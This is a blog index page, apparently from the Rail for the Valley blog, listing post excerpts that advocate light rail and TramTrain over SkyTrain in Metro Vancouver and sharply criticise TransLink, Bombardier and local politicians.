    It seems TransLink is reading the Rail for the Valley blog and is worried that Bombardier Inc. has folded the Innovia Metro line into the existing Movia Metro Line of vehicles and that Innovia production may cease cease altogether. With the aging py...

  • How Not to Be left At Station, For A Train That Will Never Come

    A letter sent to the Mayor and council's of the Two Langley's and Delta, sent by Malcolm Johnston, on Jan. 2, 2019.   “One of the saddest lessons of history is this: If we've been bamboozled long enough, we tend to reject any evidence of the...

  • Troubles at Bombardier = Troubles for Metro Vancouver

    The Metro Vancouver mayors may soon foolishly acquiesce to the mayor of Surrey's demand to build with SkyTrain instead of light rail. Foolish, because they will remain tied to one supplier and will have to dance to the tune of Bombardier Inc., when ...

  • Waitng For SkyTrain And Other Fairy Tales

    When one is conned, very seldom will one admit to being conned. Well, the good burghers of Langley are being conned by the new mayor of Surrey and by their lack of due diligence, will condemn Langley residents with congestion, gridlock, and very poo...

  • Common Sense Transit Planning From Patrick Condon. Oh, Yes And From Rail For The Valley

    Hats off to Professor Patrick Condon for this! The mayor of Surrey may wish he had kept his mouth shut about light rail and SkyTrain. Oh, he will get his toy train to Fleetwood, no doubt, but after that fiscal reality will hit like a Tsunami. ...

  • Transit, Past The Point Of No Return

    The mayors council has now voted to proceed with SkyTrain. "What fools we mortals be", quoting the great bard. What the Mayor's Council on transit did vote for is a mediocre SkyTrain extension, that really goes nowhere , demanded by the ravings the a...

  • SkyTrain to Nowhere

    SkyTrain built for the same price as light rail, think not. The real cost, will be somewhere around $3 billion, but then include the Expo line rehab, the cost will be orbiting around $6 billion. If the regional mayors cave in to the demands of Su...

  • And the Weather Does Not Affect SkyTrain, Or Does It?

    Contrary to the constant spin that the grade separated SkyTrain is not bothered with weather or such problems, today's rain caused several stations to close. Despite all the recent hype and hoopla, SkyTrain operation is affected by circumstances bey...

  • TransLink Fails Transit 101: Articulated Cars

    True to form, TransLink and the mainstream media haven't a clue about SkyTrain or SkyTrain vehicles. A news story on CKNW radio as well as other media sources claimed erroneously that the MK.3 rail cars are articulated. The new MK. 3 cars are not...

  • A Stationless SkyTrain In Surrey

    Charlie Smith of the Georgia Straight gets it, but that is no surprise, Charlie Smith and the Georgia Straight has always been the newspaper of note when it comes to SkyTrain? Why, you say? Because he asks real questions. By building SkyTrain, th...

  • Has The SkyTrain Flip-Flop In Surrey Derailed?

    Ah, the realities of political promises as the new Mayor of Surrey has now discovered; a very big $514 million problem. Even the most ardent of SkyTrain supporters, except for the tin foil hat brigade, realize SkyTrain costs a lot more to build than...

  • Dated Thinking From A Dated Mayor

    Dated transit thinking comes from SkyTrain, because light-metro is a dated transit system. There is no backbone for transit, except for a network of transit lines and only if it is designed properly, designed for the needs of its customers and not t...

  • Quebec City Gets Le Tram

    As light rail begins to gain influence in Canada, out in Lotus Land, stupid is as stupid does continues. Quebec City unveiled plans Friday to build a $3-billion public transit network that will include tramways, an electric trambus and reserved bus ...

  • Grenoble's Tram

    Grenoble tramway system is one of the very successful new build light rail line in France. Overview Native name Tramway de Grenoble Locale Grenoble, Rhône-Alpes, France Transit type Tram Number of lines 5 Number...

  • No SkyTrain For Surrey For A Decade

    Don't shoot the messenger. Didn't old Zwei didn't try to warn everyone, the Mayor of Surrey's juvenile anti LRT crusade may mean no SkyTrain in Surrey for ten years or more and if Bombardier closes down production of SkyTrain cars, could mean no Sky...

  • McCallum's $2.9 Billion Question

    From the 2017 Steer Davis Gleave - HATCH report, the total cost for SkyTrain, including fifty-Five new cars is $2,914,798,721.00. As 2019 nears, the cost is rising. Memo to Doug McCallum: we are not building SkyTrain to 1980's cost of construction. ...

  • An Idiot's Delight In Surrey

    Delusional, is all what Zwei can say. The LRT in Surrey is not a Surrey project, it is a TransLink and Metro Vancouver project and Metro Vancouver has shown no signs that it will cancel LRT as of yet. The Money earmarked for the LRT is not transf...

  • Surrey’s Hobson’s Choice – A Choice Of Taking What is Available (LRT) or Nothing At All.

    First posted April 18, 2018 Updated Surrey has a big transit and transportation problem, and now with the announcement by mayor elect, Dough McCallum, now leaves the LRT project in doubt. The cacophony of the SkyTrain Lobby with their half...

  • An Idiot's Delight In Langley

    Idiots, what can I say, complete idiots, the pair of them. SkyTrain is an obsolete proprietary light metro system, made obsolete by light rail! This has been known by all competent transit planners since the late 1980's! The proprietary SkyTrain ...

  • The Subway To Stupidville

    Patrick Condon is the James Taylor chair in Landscape and Livable Environments at the University of British Columbia’s School of Architecture and Landscape Architecture and the founding chair of the UBC Urban Design program. Prof. Condon is worth ...

  • A Matter Of Perspective

    What is interesting with this story is the matter of perspective comparing Vancouver and Toronto. In Toronto, the 504 streetcar servicing carries around 80,000 riders a day in 2018. In Vancouver, where a subway is being proposed for Broadway, as ...

  • If the SkyTrain News Fits, the Globe & Mail Will Print It.

    So, where are the important stories about SkyTrain and transit Ms. Bula? Any mention that Transport Canada's Operating Certificate for the Innovia SkyTrain system (Expo and Millennium Lines), limits capacity to 15,000 pphpd? No? Have you ever ...

  • The SkyTrain MK. 3 - The End of an Era?

      [caption id="attachment_22667" align="aligncenter" width="630" caption="MK. 3 SkyTrain, gangwayed throughout."][/caption] The new Mk.3 car is really a tarted up Mk.2 car, with one noticeable difference, the MK.3 sets now include a powered ...

  • The Sum of Zwei's Fears - Part 3 The New FastFerry Fiasco

    It is interesting indeed that Vancouver Sun columnist, Vaughn Palmer is writing about transit and the two massively expensive rapid transit projects, the Surrey LRT and the Broadway subway. With both federal and provincial backing, these two ill con...

  • Like it or Not, LRT is Coming To Surrey!

    Not really news if one knows light rail. Like it or not, modern public transit is coming to Surrey and the SkyTrain Lobby are kicking and screaming all the way, why? The fear, I believe, is that there is great fear that when modern LRT operates i...

  • Signal Failure - The Achilles Heel of a Driverless Light Metro

    Portend of what is going to be more and more common on SkyTrain, signal failure. As our SkyTrain ages, more and more service is disrupted by signal or a switch failure and with almost no redundancy in our transit system, the results for the transit ...

  • Talking Though One's Hat - Doug McCallum on SkyTrain

    Talking through one's hat,  definition: Talk nonsense; especially on a subject that one professes to be knowledgeable about but in fact is ignorant of. This is exactly what former Surrey mayor and current morality candidate, Doug McCallum is doing. ...

  • Never Attribute to Malice What Can be Explained by Incompetence - Factbender on Transit

    [caption id="attachment_22555" align="aligncenter" width="708" caption="Modern LRT does have a higher capacity than SkyTrain and it looks nicer too!"][/caption] You don't have to be smart to be the Minister responsible for TransLink, rather you just...

  • TramTrain - It's Time To Have A Serious Look At The Leewood Project For a Valley Passenger Rail Servcie

    As the Surrey LRT slowly gather's steam, it seems the regional taxpayer is paying a lot of money for very little. Despite the hype and hoopla about the Surrey LRT, does not do anything really, just provide a somewhat faster trip to the nearest S...

  • Horgan's FastFerry - Another NDP Fiasco!

    I do not agree much with Vaughn Palmer, but I think he has twigged to the fact not all is right with current transit planning. When Postmedia allows unpleasant news about SkyTrain, one knows things are amiss. The realities of subway construction ...

  • Much Ado About Nothing

    Today's photo-op with Premier Horgan and Prime Minister Trudeau was nothing more than an attempt to try to boost their flagging political base. Nothing like a re-announcement of a re-announcement to get the rubes all excited. It is also a subtle...

  • The Vancouver SkyTrain Executive Committee - Looks Good In A Brochure

      In the UK, there is a plan to service Heathrow Airport with another rail link and one of the contenders is the London Air Rail Transit System or "LarTs". The Buckley family are heavily involved with LarTs and includes: Captain Pete...

  • Mayoralty Candidate, Doug McCallum Wants To Delay Rapid Transit In Surrey Until The Late 2030's

    Why do politicians always think they are transit geniuses? Mostly because they are too stupid to understand the basics of transit planning and the application of modern public transit philosophy. Doug McCallum is one, a former Surrey Mayor who wa...

  • Light Rail on Toronto's King St. Increases Ridership 27%

    Welcome news. When a heritage streetcar route is upgraded to light rail standards, simply by giving it priority over autos, reliability increases dramatically as does ridership. The lesson to be learned is indeed very simple. One need not segr...

  • €300 (CAD $455) Million For 25 km of New Tram Line

    €300 converts to CAD $455 million for 24km of tram line or about CAD $18.2km per km to build. This of course does not include vehicles or a maintenance depot, but does give a good indication of the cost for an economy light rail line to be built i...

  • Unacceptable

    Unacceptable! The Canada Line morning rush hour fiasco, last Friday was and is completely unacceptable and demonstrates TransLink completely inane policy of forcing as many bus riders as they can onto the light-metro system. What happened Friday, d...

  • Delusion Drives SkyTrain Planning South of the Fraser

    The old fogies of politics are now driving the change from LRT to SkyTrain in Surrey. The same old lies. The same old deceit. The same old ignorance is now gaining control of regional transit south of the Fraser, as it has done in the rest...

  • And Light Rail Transit – Premier Horgan, Are You Listening? From 2017

    And Light Rail Transit – Premier Horgan, Are You Listening?   Evidently not!   Posted by zweisystem on Thursday, July 27, 2017 What this story does not mention is that Portland has an extensive LRT/streetcar network, a transit ...

  • Common Sense Transit Planning At last!

    Common sense. Want a workable public transport system? One must plan on this scale as being done in the City of Surrey. Let us just add a Vancouver to Chilliwack TramTrain, instead of LRT to Langley and one would now have 270km of rail transit...

  • Surrey's LRT Costs Skyrocket - As Planned?

    And now, the real story. There is a growing number of politicians who want to build with SkyTrain instead of LRT in Surrey. What they ignore at their own peril is that SkyTrain will not cost $1 billion more than LRT to build, but it will cost over $...

  • Toronto Enters the Light Rail Era as Vancouver Decends Into Traffic Hell

    This what LRT is supposed to do - traffic calm, by providing a quality public transit alternative. In Vancouver, light metro is built to increase density, thus increasing auto use. The modern tram, provides transit, on the pavement, easy to use, ...

  • SkyTrain Costs That TransLink Do No Want The Taxpayer To Know

    Many people who advocate for more SkyTrain extensions in the metro region, do not understand the costs associated with automatic train control or ATC, necessary for driverless operation. The cost of resignalling just one subway line in Toronto is sa...

  • Is Surrey About To Abandon The Doomed Ship TransLink?

    Zwei predicted years ago that current transit planning will compel South Fraser Municipalities to abandon TransLink. Well, it has happened, like it or not a new political group, Proudly Surrey, has made leaving TransLink as part of their electoral p...

  • Bombardier Inc. Doesn't Give a Damn

    This is a major problem for Metro Vancouver, Bombardier Inc. doesn't give a damn about its rail products and this should make Metro Vancouver mayors and TransLink very worried. Why? Bombardier is the sole suppliers of the Innovia metro car used o...

  • $580 Million Per Kilometre

    Something TransLink and the Mayors Council on Transit likes to keep hidden. The cost of subway construction in Toronto is pegged at $580 million per km. By comparison, the cost for LRT (not in BC mind) is pegged at $35 million to $50 million per ...

  • The Regional Mayor's $7 Billion FastFerry Fiasco!

    FastFerry fiascos tend to be common in BC, where politicians play the part of transit experts and squander the taxpayer's money on prestige projects, that are great for ribbon cutting photo-ops, but little more. That Translink's American CEO app...

  • As SkyTrain Ages................

    As predicted. Yesterday, SkyTrain went ka-put, once again. SkyTrain needs a massive refurbishment, about $3 billion infusion is needed to make it dependable again. But, there is only so much money for transit projects, so the $3 billion Broadw...

  • Some Smart People Out There, Not Here Apparently......

    In Europe, transportation needs are designed to meet the needs of transit customers. In BC, transportation needs are designed to further political careers and money laundering. Example: The $3 billion Broadway SkyTrain subway, being built on a transit ...

  • Mobility Pricing -TransLink's Desperate Ploy.

    Mobility pricing, TransLink's desperate ploy to hide their inept planning to date. TransLink happily spends twice or three times more for "rail" transit than they should. TransLink also spends at least 60% more operation "rail" transit than they should...

  • Megg's Puppet, Horgan Kills LRT On Vancouver Island

    What was turning out to be a breathe of fresh air in BC politics, Premier Horgan and his puppet master, former Vision(less) Vancouver Councillor and now Horgan's chief advisor, Geoff Meggs, have killed the idea for LRT on the E&N and you can damn w...

  • Surrey LRT News.

    I think a tad optimistic. Huge costs for what is basically an on-street/at-grade tram is staggering and it seems TransLink has pulled out the stops to gold-plate this project, which has now become a road project, rather than a LRT project. That n...

  • Madness

    Good old Zwei has been blogging on local transit issues for the past 10 years, I can say that both recently announced "rail" transit projects are both hugely expensive, will not ease congestion and will fail to achieve their objective, except giving th...

  • Of Fast Ferries and Casino Money Laundering, The Broadway Subway

    One can draw a straight line from BC's current money laundering scandal and the Broadway SkyTrain subway. It is the only conclusion one can make with the proposed Broadway subway, as customer flows on Broadway just do not warrant a subway. Building a s...

  • Those Who Do Not Read History Are Doomed................

    .............to make the same expensive mistakes. In Toronto, metro madness is the order of the day, but the overlooked story is the Scarborough R/T, SkyTrain's first cousin, being torn down because it will be soon "life expired". The current debate is...

  • An Idiot's Delight At UBC Or Is UBC Offering Courses In Money Laundering?

    And here I thought universities were filled with intelligent people; people who crave education and research. At UBC, evidently not! The ignorance and displayed by the UBC types is nothing more than appalling. Lysenkoism and jingoism has now become tra...

  • Common Sense & FastFerry's

    Common sense. Common sense: something that TransLink, the City of Vancouver, the Mayor's Council on Transit, TransLink and its CEO, Premier Horgan and is entourage lack. Common sense: the industry standard for customer flows on a transit line needed to...

  • The Myth

    The current transit philosophy is that transit be used to density the route it travels, to increase ridership potential. In Metro Vancouver, this has been taken to the extreme, where properties along a transit route have been up-zoned to permit high r...

  • Unintended Consequences

    The unintended consequences of transit planning are embarrassingly many. What planners expected did not happen and the unexpected, proved challenging. In Germany in the 1960's and 70's, there was a big push to build subways. Subways were thought of gre...

  • How a New Transit System Could Hobble Montreal, As It Hobbled Vancouver

    Light-metro, the great philosopher's stone for urban transportation in the 1970's has turned out to be nothing more than a wet squib. BC's provincial politicians have continually forced light-metro onto metro Vancouver, forcing bus riders by the tens o...

  • People Before Cars - A Lesson Unlearned In Metro Vancouver

    This is what should be happening in Metro Vancouver, but it's not. SkyTrain is elevated or put underground, to keep streets free for cars. The cycle lobby is giving precedence over transit customers. Cars remain the most viable transit mode in the regi...

  • The Vancouver Sun Out Does Itself

    Not high speed rail, but TramTrain is an affordable rail option in lightly populated regions. Vancouver's mainstream newspapers have been famously ill informed on the subject of "rail", whether be it, SkyTrain, light rail, or regular railways. I don't ...

  • The Hyperloop Scam

      As Barnum observed, there is a sucker born every minute. The Hyperloop is just another "better mousetrap scam" from the "anything is better than rail" crowd. Hyperloop is just a 21t century version of the atmospheric railway con-game and a game...

  • Will This Be The End Of The Innovia Light-Metro?

    Bombardier Inc. is in big trouble. The company lost Montreal's tailor made tender for its REM light-metro project and continues to be late in delivering trams to Toronto and combined with a sundry of other problems has, made the Bombardier product a p...

  • A Year Later And TransLink Has Not Learned - Desmond Must Be Fired

    A year ago, the Canada line went ka-put in a snow storm and thousands of customers were stranded North of the Fraser River and all TransLink can do is advise people to walk a snow bound rail bridge, in a snow storm to get to Richmond. This is unaccept...

  • "It's Kind Of Like Building A Subway Station On King For A Fraction Of The Cost."

    As Toronto's Kings street streetcar reinvents itself as LRT, good things happen. But, as always with something new, people will complain, especially some restaurant owners who no longer can park their cars in front of their places of business. If publi...

  • Horgan's Great Blunder, The Pattullo Bridge Affair - A Complete Lack of Foresight

    Foresight:Ai??The ability to predict what will happen or be needed in the future. The announcement for the Pattullo Bridge replacement, by Premier Horgan, displayed a complete lack of foresight for transportation needs in Metro Vancouver. The key to i...

  • A Massive Conflict of Interest

    Oh, what tangled webs we weave........ The big news today is not the forthcoming announcement by the Premier and Minister of Transportation replacing the aged and decrepit Pattullo Bridge, with a new $1.6 billion bridge, rather it is revelation that so...

  • Metro Madness - Does TransLink Understand The Issue Of Subway Maintenance?

    Subway maintenance costs are an issue that TransLink and the regional mayors have not even considered. As subways age, they cost a lot to maintain. The TTC has put the cost just to operate and maintain 5 km of subway, at $40 million annually and just g...

  • Civic Maturity Comes With Light Rail

    Light Rail, brings with it, civic maturity. This civic maturity puts the transit customers before political friends; it puts financial reality ahead of political prestige; it puts the public interest as a whole, ahead of car drivers and even business o...

  • Dublin's LUAS 55 Metre Tram

    It has been said that longer trams are cheaper to operate than a coupled set and with the Dublin LUAS 55 metre long trams, sets a new standard in the British Isles and Eire. Whether the ancient streets and bridges can handle the beasts is another issu...

  • Election Season Is Near - Abbotsford Mayor Proposes LRT For The Fraser Valley

    In BC, when election time nears, politicians are looking for issues to garner votes. In the Fraser Valley, traffic chaos grows with population, with the obvious results - gridlock. Rail for the Valley has an affordable plan, yet it fell on deaf ears an...

  • SkyTrain Ka-Put Again

    For a proprietary transit system that is supposed to have a remarkable operational reliability, it is breaking down an awful lot lately. Could it be that SkyTrain is not as reliable as certain people would have us think? Sadly, SkyTrain is demonstratin...

  • Reality Can Be A Bitch - Two FastFerry Fiascos For Metro Vancouver

    As of yet, there is no real cost estimate for the Broadway Subway and reality is setting in that it will be in excess of $3 billion, unless the scope of the project is reduced, as was done to the Canada line. One persistent rumour I hear is that the Mi...

  • Light Rail For Surrey Fights Back

    After the CBC's fawning over the largely discredited SkyTrain for Surrey lot, Light Rail For Surrey fights back. Just a reminder, in 2016, CKNW outed SkyTrain for Surrey for fudging the truth and now, they are at it again with the CBC. The questions I ...

  • Road Pricing Farce

    From Bob Mackin and the Breaker. From July 2017 Zwei has studied "Road Pricing" and "Congestion Charging" for over 20 years and.................. the very first rule for a successful road pricing scheme is that the region have a user friendly and affo...

  • Massey Tunnel Facts - Facts That No One Wanted The Public To Know

    The alternative facts and fake news spewed by the BC Liberals, especially sitting MLA and still Delta Councillor, Ian Paton, Delta Mayor, Lois Jackson and the hoi polloi of car and truck drivers wanting a new $3.5 billion to over $5 billion mega bridge...

  • Perils of a Proprietary Railway - The End of SkyTrain

    Zwei has often warned of the perils of a proprietary railway. Our friend Mr. Cow has warned of the perils of a proprietary railway. And now, Bombardier's current fiasco supplying 21st century trams of a proven European model, may be the final straw in ...

  • The Pursuit Of European Ideals In Toronto

    As expected, upgrade a heritage streetcar line to a light rail standard and ridership increases dramatically. By making King St. an exclusive route for trams, increased both commercial speed and ridership, so much so, it overwhelmed the servcie. This i...

  • TransLink Fined $607,000 - The Breaker News

    This is significant on two accounts. First: Why was TransLink doing electrical repair during operating hours at the station and why wasn't proper procedure followed? Second: Why is it that the Breaker News scooped the mainstream media on this? This is ...

  • The SkyTrain Cult Is Today's Version Of The Cargo Cult

    The Cargo Cult is a millenarian movement first described in Melanesia which encompasses a range of practices and occurs in the wake of contact with more technologically advanced societies. The name derives from the belief which began among Melanesian's...

  • The Return Of The Tram!

    One of the recurring themes for the SkyTrain types is that big cities have subways and little cities have trams. Well Berlin, the Capital of Germany with a population 3.7 million, is now investing in trams in the former "West" portion of the city as th...

  • Their NDP May Do, What Our NDP Should Do!

    The Scarborough subway soap opera continues. What is interesting is that the NDP in Ontario may very well kill the now $3.45 billion, 5 km., one station subway for a much cheaper light rail line. "There is a tipping point beyond which the unjustifiable...

  • Fear of Subway Costs Grips Mayors Council

    As our friend, Haveacow indicated some time ago, the Broadway subway is going to cost a lot more than many think. Some years ago, Zwei entered into correspondence with a German transit Engineer, Wolfgang and he warned of subway construction and operati...

  • Vancouver's Dirty Subway Politics Continue

    A Vancouver reader to this blog received the following letter today from the City of Vancouver.   The gentleman received the letter one day past the RSVP Date and the city evidently got the bus route numbers mixed up, as well. This continues the ...

  • The Big Shake Up

    Good news everyone, there has been a shake up at TransLink and Burnaby Mayor Derek Corrigan is at the helm of the Mayor's Council on Transit. Mayor Corrigan is the only mayor who actually has knowledge of transit and transit operation as he was a forme...

  • Commuter Rail Is Passe - It Is The Age Of TramTrain!

    The anti-rail brigade is hard at it on Vancouver Island and there is a good reason why. The author of the piece, consults with SNC Lavalin (a major red flag there)Ai?? and SNC Lavalin only wants high profit projects. Example 1: The Canada line faux P-3...

  • Scarborough Subway Sticker Shock

    More info on the Scarborough controversy. First, modern LRT can carry more than 15,000 pphpd, in fact modern LRT can carry well over 20,000 pphpd. In Karlsruhe Germany, one tram line carried over 35,000 pphpd in the peak hour! Toronto's old Bloor Danf...

  • The Ignorance Of Light Rail Knows No Bounds - Distinctly In Vancouver

    It is sad that anti-tram journalist, Francis Bula, writes such tawdry articles about transit and by doing so, demonstrates that she does little or no research and repeats the anti-tram myth. Citing Jarret Walker as a renowned transit expert is stretchi...

  • King Street Welcomes Toronto to the 21st Century

    Toronto's King Street experiment, bringing 21st century tram philosophy to Toronto and has opened a great many eyes. What has happened is simple, on portions of King Street, the streetcar has been turned into light rail at very little cost. There is no...

  • Pssst.....Some One Please Tell TransLink Subways Get Dirty

    Zwei was not kidding about the issue of cleaning subway lines. Due to the nature of train action in a subway, the piston like force of air that is in front of every train as it traverses the tunnel, creates a sandblasting effect on the electrics and si...

  • In BC - The Government Don't

    As our politicians, planners and selected academics, offer more and more studies, in an attempt of achieving nothing, by spending a great amount of time doing studies. The railway fraternity in the UK, don't study, they do! The Lynton and Barnstaple R...

  • Toronto Politicians Fear Scarborough Subway Costs

    As expected, the costs for the Scarborough subway, the subway that is replacing the Scarborough ICTS Rapid Transit line, is escalating. Toronto's ICTSAi?? or locally called SRTAi?? is a very close cousin to Vancouver's ALRT/ART system, which we collect...

  • The Driverless Car - Much Ado About Nothing

    For those who think the driverless car will usher in the demise if "rail" transit, think again. Quote: "A growing number of metro regions, including the Bay Area, Washington, D.C., Philadelphia, Boston, Dallas, Houston, Miami, Atlanta, and Toronto, hav...

  • Fake News And The SkyTrain Lobby - Who Are They Really Working For?

    Really, can't the SkyTrain Lobby do any better? The following is so silly and juvenile because it is all hearsay and opinion, not fact. But facts have never bothered the SkyTrain Lobby as they try once again try to fool the public about SkyTrain. They ...

  • Has TransLink Missed The Bus? AGAIN?

    The combined arrogance and ineptitude of TransLink just makes one's head shake. TransLink has just sent out 400,000 invitations for people to do a trip diary, with all sort of silly incentives to get people on board. What will happen is this: 1) People...

  • 24 Hour Operation for SkyTrain? Not Going To Happen.

    One has to laugh at the armchair experts, who think it's so simple to offer a 24 hour servcie on the SkyTrain light metro system. The ignorance about the SkyTrain light-metro system operation is endemic. SkyTrain does not magically move people f...

  • Island Corridor Foundation's Letter to Minister Claire Trevena

    After years of indifference by the Island Corridor Foundation, a new provincial government seems to have brought some life to the Island Corridor Foundation. Now the ICF is a political creature, which was believed by many, to oversee the demise of the ...

  • Toronto's King Street - A Template For Broadway?

    The European light rail Renaissance in Toronto seems to be successful. Active traffic calming will both improve transit service, while at the same time pull more people to transit, a lesson that TansLink and Vancouver traffic engineers refuses to lear...

  • A Broadway Tram - Under $5 Million Per Kilometre To Build!

    What is the cost for light rail? In Budapest, Hungary, aAi?? 1Ai??7Ai??km extension of Budapest tram Route 1, will cost HF8Ai??6bn. Wow! 8.6 billion Hungarian Florints to build? But wait, HUF 8.6 billion, converts to CAD $7,690,959! What is...

  • Scarborough ......... Or Should We Say Broadway Subway ai???Not A Worthwhile Use Of Moneyai??i??

    No real surprise here. What is very odious is that the Mayor of Toronto wants a subway, purely for political purposes and the taxpayer be damned! The same is true about the proposed Broadway SkyTrain subway, where the traffic flows just do not warrant ...

  • Hawthorne Park - Premier Horgan, Are You Listening?

    Surrey's Hawthorne Park debacle clearly illustrates that something is wrong with our regional transit planning. Modern light rail transit, is a proven mode of public transportation that has an envious record in attracting the motorist from the car; a ...

  • When You Really Need It - SkyTrain Craps out!

    Again, SkyTrain never fails to, well fail! CKNW NEWS ALERT Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai??Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai?? Ai...

  • Mebourne: Trams Far Cheaper To Operate Than Buses

    Interesting numbers from Melbourne Australia, where the subsidy for a tram, per customer, is $7.18 less than for a bus, per customer! Something to think about, isn't it. Costs per passenger in Melbourne Tram vs Bus 30-Oct-2017Ai?? Ai?? Mal Rowe I cam...

  • The BRT And LRT Saga Continues

    What is missing from this LRT/BRT study is very important, the cost of operating the BRT or LRT line. In Mexico, South America and the Middle East, wages paid to drivers, mechanics, managers and maintenance workers are much, much less than North Americ...

  • Is Casino Money Laundering Driving SkyTrain Expansion?

    As charges are laid in the casino money laundering fiasco where it is alleged, dirty money from abroad was laundered at BC Casino's then invested in Vancouver's hot housing market. The question must be asked: Is laundered illegal drug money driving th...

  • Everyone Is An Expert

    Why is it, when someone is elected to office, they become instant transit experts? Why is it, when it comes to transit, common sense is tossed from the window? It seems Liberal MLA, Jane Thornthwaite, wants a SkyTrain subway to the North Shore. ...

  • Is It time To Say Adios To TransLink's Kevin Desmond?

    TransLink's American CEO, Kevin Desmond, was always TransLink's man. A consummate bureaucrat, he knows what buttons to push and what whistles to blow, but when it comes to transit, Desmond does what he is told to do. TransLink has never acknowledged th...

  • Metro Madness - FastFerry Fiasco 2

    Vancouver wants subways and nothing else. Vancouver wants the region to pay for those subways. Vancouver's pet SkyTrain subway, just to Arbutus Street, may cost upwards of $4 billion. Vancouver's pet SkyTrain subway will use the now obsolete ALRT...

  • Welcome To The World Of Congestion Folks!

    This should not be news but it is, congestion has returned to the Port Mann Bridge With tolls, traffic and gridlock was just moved to the Patullo and Alex Fraser Bridges and the Massey Tunnel, but with the tolls eliminated, traffic pasterns are getting...

  • Is TransLink Admitting the Canada Line is a White Elephant?

    It is not an either/or situation. As built, the Canada line has small stations with 40 metre long station platforms, while the ALRT/ART Expo and Millennium/Evergreen lines have 80 metre long station platforms. The Transport Canada operating certificate...

  • Expensive Projects = Expensive Costs

    Most people championing expensive transit, fail to see three minutes into the future. The failure of a switch motor on the Expo Line last week caused transit chaos. Switch motors fail and on automatic railways, the regimen is to replace motors on a pre...

  • Expo Line Goes Kaput - Canada line Ills - TransLink's Bad Day

    The aging SkyTrain system is having many troubles today. One of the big problems with expensive light-metro lines is the lack of redundancy in the system. With the huge costs to build just one line, only one line is built, unlike mature light rail syst...

  • Siemens and Alstom Merge Rail

    As reported earlier, it has been announced that Siemens and Alstom will merge their rail units. Time will tell how this will effect Bombardier Inc., but one thing is for certain, the merger will streamline their product line and with no sales in the pa...

  • Alstom, Siemens Rail-Merger - Is SkyTrain going The Way Of The Edsel?

    This could be game changer for Bombardier's rail division and a big game changer for transit planning in Metro Vancouver. If the Siemens and Alstom merger goes through, it could mean those expensive ART, monorail, and other proprietary transit modes cu...

  • From Pole to Pan in Toronto

    NO, we are not talking 'pole dancing' but another kind of 'pole' dance happening in Toronto. The use of panto-graphs or "pans" for the collection of electrical power has been around a long time and now it is Toronto's turn to switch from the old trolle...

  • Requiem For The Massey Tunnel Replacement Bridge

    The Massey Tunnel Bridge replacement project is again in the news, as the massively expensive replacement bridge for the Massey tunnel has been mothballed. Now, the CBC has found hugely expensive financial irregularities with the new Port Mann Bridge, ...

  • Heritage Tram for Richmond?

    Most of us have forgotten that Richmond once supported an interurban service from Steveston to Vancouver and New Westminster and now the city of Richmond is investigating a heritage line to operate the interurban. Rail for the Valley wishes everyone go...

  • The Perils Of A Proprietary Railway

    ALRT/ART is what we call a proprietary railway and because Bombardier Inc. hold the technical patents for ART, they are the sole supplier of ART cars, as they can always undercut the competition, who must design a Linear Induction Motor powered car fro...

  • Premier Horgan, Can You Change Metro Vancouver's "SkyTrain" Culture?

    Ah yes, our honest and hard working and sole supplier of ART cars (SkyTrain) and ALRT/ART parts, Bombardier is back in the news. One wonders why Metro Vancouver and TransLink keeps planning building with the obsolete proprietary ART mini-metro system, ...

  • What The Hell Is Going On At TransLink?

    Zwei knows that there are huge issues with TransLink's mega-projects, but does this ponderous bureaucracy have a clue what it is doing? I don't think so. Past comments from Mr. "haveacow" from Ottawa has the cost of the Broadway SkyTrain subway passing...

  • Achy Breaky SkyTrain Cars!

    Seems some serious corrosion problems are plaguing the TTC's ICTS cars, which are the same as our SkyTrain Mk.1's and I hope TransLink will take some time and investigate! The Mk.1's do have a history of corrosion, so I would think it would be expedien...

  • A Vancouver Sun $8.5 Billion Puff Piece

    The Vancouver Sun, as always, has embarrassedAi?? itself with another transit "Puff Piece". Nathan Pachall is not a transit expert, rather a politician and a seemingly TransLink apologist. Zwei would never dare to do a report card on transit because th...

  • How Many Fatal Accidents Does it Take For Politicians to Support A Chilliwack To Vancouver TramTrain!

      On Wednesday last (Aug. 9) the misses and I went to Harrison Hot Springs for some well deserved R & R. The trip to Harrison only confirmed the need for a Vancouver to Chilliwack rail service, to give aAi?? transportation option for those li...

  • Regional Transportation Conundrum - We Need A Royal Commission On Regional Transportation

    The following article demonstrates our current problem in metro Vancouver, a complete and utter lack of understanding public transit and the role of public transit. Again, for public transit to be successful, it must be user friendly, if not, people wi...

  • Why Cities Are Demolishing Freeways

    With the decision pending to abandon the proposed mega bridge replacing the Massey Tunnel, this article should give some food for thought. As always, providing more road space, attracts more cars, creating even greater gridlock at the next choke point....

  • The Stadler Option

    The Stadler product is gaining traction in North America and now has a manufacturing plant in North America. Unlike Bombardier, which relies on the government to secure train orders for them in North America, Stadler had to fight hard to sell its produ...

  • TramTrain For Halifax?

    As LRT planning spreads across Canada, transportation planners are beginning to understand the flexibility of the mode. Commuter rail, using unwieldy commuter passenger cars are yesterdays transit solution, while TramTrain is a 21st century transit sol...

  • Is The Car Winning The Commuter War?

    Another news story which tends to confirm Zweis observation that; "despite a now over $11 billion investment in rapid transit, congestion is getting worse." The article doesn't touch on the real problem, which is the user-unfriendly SkyTrain light-metr...

  • Mayor Lois Flies With Sparkle Ponies

    Delta Mayor Lois Jackson is a strong supporter of former BC Liberal Premier Christi Clark and sees the proposed ten lane bridge to replace the Massey Tunnel as her personal legacy project when she retires from politics next year. Hijacking the Leewood...

  • And Light Rail Transit - Premier Horgan, Are You Listening?

    What this story does not mention is that Portland has an extensive LRT/streetcar network, a transit network designed to meet the needs of the transit customer. Unlike Metro Vancouver where transit is built to meet the needs of land developers and land ...

  • TransLink's Bamboozle Begins.

      It is to be expected, TransLink wants more of your money so out rolls the propaganda machine claimingAi?? increased ridership, Howrah! Translation; "We want to bamboozle the NDP to give us more money for our two vanity projects, the Broadway su...

  • Rail for the Valley: A Letter to Premier Horgan

    Dear Premier Horgan, Congratulations on your recent electoral success and now fresh winds will sweeps across British Columbia. My name is Malcolm Johnston and I have been an advocate for better public transit in the Me...

  • "The Idea Of Creating A Liveable City At This Density Is Crazy."

